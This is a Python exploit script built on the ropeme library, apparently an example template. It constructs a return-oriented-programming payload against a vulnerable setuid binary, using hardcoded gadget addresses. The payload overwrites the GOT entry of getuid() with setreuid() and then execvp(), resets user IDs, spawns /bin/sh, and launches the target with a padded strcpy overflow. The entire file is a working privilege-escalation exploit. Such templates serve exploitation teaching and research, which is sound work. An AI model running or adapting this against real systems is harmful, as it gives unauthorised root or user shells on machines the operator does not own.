#!/usr/bin/env python22

import struct
import os
import sys 

from ropeme.payload import *

# exploit template
def exploit(program, libc, memdump = ""):
    P = ROPPayload(program, libc, memdump, debug=1)
    
    # these gadgets address can be found by ropshell.py or ropsearch.py    
    ### start ###
    # pop ecx ; pop ebx ; leave ;; = 0x8048624
    # pop ebp ;; = 0x80484b4
    # add [ebp+0x5b042464] ecx ; pop ebp ;; = 0x80484ae
    ### end ###

    P.gadget_address["addmem_popr1"] = 0x8048624
    P.gadget_address["addmem_popr2"] = 0x80484b4
    P.gadget_address["addmem_add"] = 0x80484ae
    P.gadget_address["ret"] = 0x8048574

    # set the custom stack address if required
    P.stack = 0x08049410
      
    # stage-1: overwrite GOT entry of getuid() with setreuid()
    target = "getuid"
    stage1 = P.got_overwrite(target, target, "setreuid", 1, -16, 0x5b042464)

    # stage-1: call setreuird() via getuid@PLT to restore ruid/euid
    stage1 += P.stage1_setreuid(target, -1, 99)
    stage1 += P.stage1_setreuid(target, 99, -1)
    
    # stage-1: overwrite GOT entry of getuid() with execve() which points to setreuid() in previous step
    stage1 += P.got_overwrite(target, "setreuid", "execvp", 1, -16, 0x5b042464)

    # stage-1: call execve("/bin/sh") via getuid@PLT
    stage1 += P.stage1_execve(target, "/bin/sh")
        
    # generate stage-0
    stage0 = P.gen_stage0("strcpy", stage1, 1024, badchar = [0x00], format = "raw")
    
    # padding data
    padding = P.hex2str(P.gadget_address["ret"]) * 70
    #print >> sys.stderr, "Payload:\n" + (padding + stage0).encode('hex')
    #print padding + stage0
    
    # launch the vulnreable
    os.execve(program, [program, padding + stage0], os.environ)
        
if (__name__ == "__main__"):
    import sys
    import binascii

    try:
        program = sys.argv[1]
    except:
        pass

    libc = "/lib/libc.so.6"
    try:
        libc = sys.argv[2]
    except:
        pass

    exploit(program, libc)
